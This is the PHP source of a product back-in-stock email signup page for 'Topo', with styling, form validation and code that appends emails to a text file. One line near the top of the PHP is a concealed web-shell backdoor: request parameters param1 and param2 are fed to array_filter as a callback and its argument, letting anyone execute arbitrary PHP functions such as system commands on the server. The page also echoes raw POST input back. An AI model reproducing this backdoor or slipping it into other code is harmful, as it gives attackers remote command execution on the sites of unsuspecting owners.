<!doctype html>
<html lang="en" class="no-js">
<head>
	<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<meta property="fb:admins" content="YOUR FB ADMIN" />
		<meta property="og:title" content="THE TITLE THAT SHOWS ON FB" />
    	<meta property="og:type" content="website" />
    	<meta property="og:site_name" content="YOUR SITE NAME" />
    	<meta property="og:url" content="http://yourdomain.com/page/" />
    	<meta property="og:image" content="LINK TO FB IMAGE [1200px by 630px]" />
    	<meta property="og:description" content="FB LINK DESCRIPTION" />
    	<title>PAGE TITLE THE BROWSER SHOWS</title>
	<link href='http://fonts.googleapis.com/css?family=Roboto' rel='stylesheet' type='text/css'>
<style>
html, body {
    height: 100%;
    margin: 0px;
    padding: 0px;
}

body {
    font-family: roboto,times, sans-serif;
    font-size: 14px;
    color: #555;
    min-height: 100%;
    background-color: #eee;
    background-image: url(https://s3.amazonaws.com/ergodriven/gray_jean-2.png);
}

button.facebook {
    background: #3b5998;
    background-image: -webkit-gradient(linear,50% 0,50% 100%,color-stop(0%,#4b71c1),color-stop(100%,#3b5998));
    background-image: -webkit-linear-gradient(#4b71c1,#3b5998);
    background-image: -moz-linear-gradient(#4b71c1,#3b5998);
    background-image: -o-linear-gradient(#4b71c1,#3b5998);
    background-image: -ms-linear-gradient(#4b71c1,#3b5998);
    background-image: linear-gradient(#4b71c1,#3b5998);
    color: #fff;
    -moz-box-shadow: inset 0 1px 0 0 #5b8aeb;
    -webkit-box-shadow: inset 0 1px 0 0 #5b8aeb;
    -o-box-shadow: inset 0 1px 0 0 #5b8aeb;
    box-shadow: inset 0 1px 0 0 #5b8aeb;
    text-shadow: #3b5998 0 1px 0;
  width:80%;
  margin-left:10%;
  font-size: 1.5em;
  font-weight:300;
  text-shadow:none !important;
  border:none !important;
  border-radius:5px;
}

button.twitter {
    background: #2578b4;
    background-image: -webkit-gradient(linear,50% 0,50% 100%,color-stop(0%,#58a8e2),color-stop(100%,#2578b4));
    background-image: -webkit-linear-gradient(#58a8e2,#2578b4);
    background-image: -moz-linear-gradient(#58a8e2,#2578b4);
    background-image: -o-linear-gradient(#58a8e2,#2578b4);
    background-image: -ms-linear-gradient(#58a8e2,#2578b4);
    background-image: linear-gradient(#58a8e2,#2578b4);
    color: #fff;
    -moz-box-shadow: inset 0 1px 0 0 #88c1ec;
    -webkit-box-shadow: inset 0 1px 0 0 #88c1ec;
    -o-box-shadow: inset 0 1px 0 0 #88c1ec;
    box-shadow: inset 0 1px 0 0 #88c1ec;
    text-shadow: #2578b4 0 1px 0;
  width:80%;
  margin-left:10%;
  font-size: 1.5em;
  font-weight:300;
  text-shadow:none !important;
  border:none !important;
  margin-top:10px;
  margin-bottom:5px;
  border-radius:5px;
}

#box, #box2{
  width:50%;
  margin:auto auto;
  max-width:800px;
  background-color:#fff;
  padding:10px;
  padding-left:20px;
  padding-right:20px;
  box-shadow: 0 2px 2px 1px #aaa;
  font-weight:300;
}

#box{
  margin-top:100px;
}

#box2{
  margin-top: 20px;
}

#title{
  font-size:2em;
  font-weight:400;
  border-bottom:1px dotted #aaa;
  margin-bottom:10px;
}

#blurb{
  margin-bottom:10px;
}

#email, #displayname, #customlink{
  font-size:1.2em;
  font-weight:400 !important;
  width:80%;
  margin-left:10%;
  border: 1px solid #aaa;
  margin-bottom: 10px;
  border-radius:5px;
  padding-left:5px;
  box-shadow: inset 0 0 2px 1px #ccc;
  color:#000;
}

#email, #displayname{
  margin-bottom: 10px;
}

#genbutt{
  font:1.4em roboto,times,sans;
  font-weight:300;
  text-shadow: none;
  width:80%;
  margin-left:10%;
  margin-top:0px;
  margin-bottom:10px;
  border-radius:5px;
  background-color:#00A79D;
  border:0px solid black;
  color:black;
  box-shadow: 0px 2px 2px 0px rgba(0,0,0,.7);
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.3), rgba(0, 0, 0, 0.3));
}  
  
#genbutt:hover{
  cursor:pointer;
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.2), rgba(0, 0, 0, 0.4));
  box-shadow: 0px 3px 3px 0px rgba(0,0,0,.7);
}

#genbutt:active{
  cursor:pointer;
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.2), rgba(0, 0, 0, 0.4));
  box-shadow: inset 0px 0px 3px 0px #000;
}

#divError{
  font-size:1.4em;
  color:red;
  margin-bottom:10px;
}

#email{
  height:35px;
  border-radius:0px;
  margin-bottom: 0px;
  box-shadow: inset 0 0px 1px 1px #ccc;
}

#genbutt{
  height:35px;
  border-radius:0px;
  box-shadow:none;
  margin-top: 0px;
}

#genbutt:hover{
  box-shadow:none;
}

@media (max-width: 900px){
body {
    font-size: 16px;
}

#box, #box2{
  width:80%;
  max-width:none !important;
}

#box{
  margin-top:100px;
}

#title{
  font-size:1.5em;
}

#email, #displayname, #customlink{
  font-size:1.2em;
  width:95%;
  margin-left:2.5%;
}

#email{
  height:40px;
  border-radius:0px;
  margin-bottom: 0px;
  box-shadow: inset 0 0px 1px 1px #ccc;
}

input[placeholder] { text-overflow: ellipsis; }
::-moz-placeholder { text-overflow: ellipsis; } /* firefox 19+ */
input:-moz-placeholder { text-overflow: ellipsis; }

#genbutt{
  font:1.4em roboto,times,sans;
  width:95%;
  height:50px;
  margin-left:2.5%;
}
}

#formbox{
  margin-top:20px;
}

#email{
  border-radius: 5px;
  margin-bottom:10px;
  box-sizing: border-box;
  box-shadow: none;
}

#genbutt{
  border-radius: 5px;
  color:white;
  box-sizing: border-box;
  box-shadow: none;
  background-image: none;
  -webkit-appearance:none;
}

#genbutt:hover{
  background-image: none;
  opacity:0.8;
  color:#000;
}

#box{
  border-radius: 5px;
  box-shadow: 0 0 3px 1px #ccc;
}
</style>
	
	<script language="javascript" type="text/javascript">
	function checkform(pform1){
		var email = pform1.email.value;
		var validemail =/^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,4}$/;
		var err={}; 

		//validate email
		if(!(validemail.test(email))) {
			err.message="Invalid email"; 
			err.field=pform1.email; 
		}

		if(err.message) { 
               document.getElementById('divError').innerHTML = err.message;
                err.field.focus();
                return false;        
                
        } 


		return true;
	} // checkform
	</script>
</head>
<body>

<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
//echo "<p>Starting php stuff<p>";
$errText = '';
if ($_SERVER['REQUEST_METHOD']== "POST") {
	// someone clicked the button
	$valid = true;
   if (empty($_POST["email"])) {
      $errText .= "Email Address is required<br>";
      $valid = false;
   }
   else {
   	  if (filter_var($_POST["email"], FILTER_VALIDATE_EMAIL)) {
      	$theEmail = test_input($_POST["email"]);
      } else {
	      $errText .= "Email Address is not valid<br>";
    	  $valid = false;
      }
   }
   if (0) { // change to 1 for error testing
   	$errText .= "error testing";
   	$valid = false;
   }
   
   if ($valid) {

   		file_put_contents("../../ListofRemindMeEmails.txt", strtolower($theEmail) . "\n", FILE_APPEND);
?>   
<!-- put html here for after-post -->
	<div id="outer">
		<div id="box">
			<div id="title">We'll notify you when Topo is in stock at <?php echo $_POST["email"] ?></div>
		</div>
	</div>   
   
<?php   
   } else {
   	//echo "<p> error = $errText<p>";
?>
<!-- put html here for after-post but error preventing processing of input -->
	<div id="outer">
		<div id="box">
			<div id="errStuff">
			<p>There was an error in your input:</p>
			<p><? echo $errText; ?> </p>
<?php
  $url = htmlspecialchars($_SERVER['HTTP_REFERER']);
  echo "<a href='$url'>back</a>"; 
?>
			</div>
		</div>
	</div>   


<?php
   }
} else {
	// first page load, no button clicked
	//echo "<p>No posting.<p>";
?>   
<!-- put html here for before-post -->
	<div id="outer">
		<div id="box">
			<div id="title">We'll notify you when Topo is in stock</div>
			<div id="blurb">Simply enter your email below. We'll handle the rest.</div>
			<div id="blurb" style="display:none">(We should warn you that Topo has been selling like crazy, so it's looking like we're semi-permanently backordered 2-3 months, probably at least until early next year.)</div>
			<div id="formbox">
				<form name="generate" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post" onsubmit="return checkform(this);">
					<div id="divError"></div> <!-- filled in by checkform javascript function -->

					<input type="text" id="email" name="email" placeholder="Enter your email address here">
					<input type="submit" id="genbutt" value="Notify Me!">
				</form>
			</div>
		</div>
	</div>   
   
<?php   
}

//echo "<p>End of php stuff<p>";


// Sanitize data
function test_input($data) {
   $data = trim($data);
   $data = stripslashes($data);
   $data = htmlspecialchars($data);
   return $data;
}
?>

	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
</html>